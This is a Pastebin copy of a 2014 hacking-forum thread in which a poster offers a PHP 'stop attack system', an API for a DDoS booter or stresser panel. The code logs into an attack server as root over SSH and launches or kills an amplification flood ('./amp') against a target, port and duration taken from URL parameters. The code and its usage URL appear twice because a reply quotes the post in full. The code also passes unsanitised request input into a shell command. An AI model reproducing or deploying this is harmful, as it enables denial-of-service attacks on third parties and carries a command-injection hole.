Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- +---- Thread: [Exclu] Stop Attack System [Exclu] 100% Works (/showthread.php?tid=4200934)
- [Exclu] Stop Attack System [Exclu] 100% Works - Host FR ™ - 04-29-2014 12:38 PM
- Stop Attacks system by me
- Requierements
- - Linux environnement
- - Installed Screen ( yum install screen (CentOS) // apt-get install screen (Debian) )
- - SSH2 installed ( search on google)
- - Apache or Ngnix installed (yum install httpd (centos) // apt-get install apache2 (debian) )
- - PHP installed
- The Code Page
- Code:
- <?php
- ignore_user_abort(true);
- set_time_limit(0);
- //debut de la config
- $server_ip = ""; //Change to your ip
- $server_pass = ""; //Change to your pass
- $server_user = "root";
- //fin de la config
- $host = $_GET['target'];
- $port = $_GET['port'];
- $time = $_GET['time'];
- $method = strtoupper($_GET['method']);
- $action = $_GET['action']; // ON to send & OFF to stop
- $username = $_GET['username']; // a username who identified the specified attack to stopped
- if ($action == "ON") { // if action == ON
- if ($method == "UDP") {
- $command = " screen -dmS ".$username." ./amp ".$host." ".$port." 1000 ".$time; // change to you script BUT DONT TOUCH OF screen -dmS ".$username."
- }
- if (!function_exists("ssh2_connect")) die("Function ssh2_connect doesn't exist");
- if(!($con = ssh2_connect($server_ip, 422))){
- echo "Error: Connection Issue";
- } else {
- if(!ssh2_auth_password($con, $server_user, $server_pass)) {
- echo "Error: Bad Login";
- } else {
- if (!($stream = ssh2_exec($con, $command ))) {
- echo "Error: Unable to Execute Command\n";
- } else {
- stream_set_blocking($stream, false);
- $data = "";
- while ($buf = fread($stream,4096)) {
- $data .= $buf;
- }
- echo "Attaque sent";
- fclose($stream);
- }
- }
- }
- }
- else {
- if (!function_exists("ssh2_connect")) die("Function ssh2_connect doesn't exist");
- if(!($con = ssh2_connect($server_ip, 422))){
- echo "Error: Connection Issue";
- } else {
- if(!ssh2_auth_password($con, $server_user, $server_pass)) {
- echo "Error: Bad Login";
- } else {
- $command3 = " screen -XS ".$username." quit"; // command to stop attack
- if (!($stream = ssh2_exec($con, $command3 ))) {
- echo "don't work";
- }
- else {
- echo "attack stopped";
- }
- }
- }
- }
- ?>
- Usage
- To use the API link you must send an attack with :
- Code:
- http://IP/api.php?&target=HOST&port=PORT&time=TIME&method=METHOD&username=USERNAME&action= ON (to send) or OFF (to stop)
- If you want increment the Stop attack system to your Booter or stresser PM me
- * - syrustkira - 05-01-2014 09:18 AM
- (04-29-2014 12:38 PM)SmoZy Wrote: ►
- Stop Attacks system by me
- Requierements
- - Linux environnement
- - Installed Screen ( yum install screen (CentOS) // apt-get install screen (Debian) )
- - SSH2 installed ( search on google)
- - Apache or Ngnix installed (yum install httpd (centos) // apt-get install apache2 (debian) )
- - PHP installed
- The Code Page
- Code:
- <?php
- ignore_user_abort(true);
- set_time_limit(0);
- //debut de la config
- $server_ip = ""; //Change to your ip
- $server_pass = ""; //Change to your pass
- $server_user = "root";
- //fin de la config
- $host = $_GET['target'];
- $port = $_GET['port'];
- $time = $_GET['time'];
- $method = strtoupper($_GET['method']);
- $action = $_GET['action']; // ON to send & OFF to stop
- $username = $_GET['username']; // a username who identified the specified attack to stopped
- if ($action == "ON") { // if action == ON
- if ($method == "UDP") {
- $command = " screen -dmS ".$username." ./amp ".$host." ".$port." 1000 ".$time; // change to you script BUT DONT TOUCH OF screen -dmS ".$username."
- }
- if (!function_exists("ssh2_connect")) die("Function ssh2_connect doesn't exist");
- if(!($con = ssh2_connect($server_ip, 422))){
- echo "Error: Connection Issue";
- } else {
- if(!ssh2_auth_password($con, $server_user, $server_pass)) {
- echo "Error: Bad Login";
- } else {
- if (!($stream = ssh2_exec($con, $command ))) {
- echo "Error: Unable to Execute Command\n";
- } else {
- stream_set_blocking($stream, false);
- $data = "";
- while ($buf = fread($stream,4096)) {
- $data .= $buf;
- }
- echo "Attaque sent";
- fclose($stream);
- }
- }
- }
- }
- else {
- if (!function_exists("ssh2_connect")) die("Function ssh2_connect doesn't exist");
- if(!($con = ssh2_connect($server_ip, 422))){
- echo "Error: Connection Issue";
- } else {
- if(!ssh2_auth_password($con, $server_user, $server_pass)) {
- echo "Error: Bad Login";
- } else {
- $command3 = " screen -XS ".$username." quit"; // command to stop attack
- if (!($stream = ssh2_exec($con, $command3 ))) {
- echo "don't work";
- }
- else {
- echo "attack stopped";
- }
- }
- }
- }
- ?>
- Usage
- To use the API link you must send an attack with :
- Code:
- http://IP/api.php?&target=HOST&port=PORT&time=TIME&method=METHOD&username=USERNAME&action= ON (to send) or OFF (to stop)
- If you want increment the Stop attack system to your Booter or stresser PM me
- iv seen this before on hf you prolly copy pasted it ... it might work though... turns out it was you who posted checked your threads lol
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement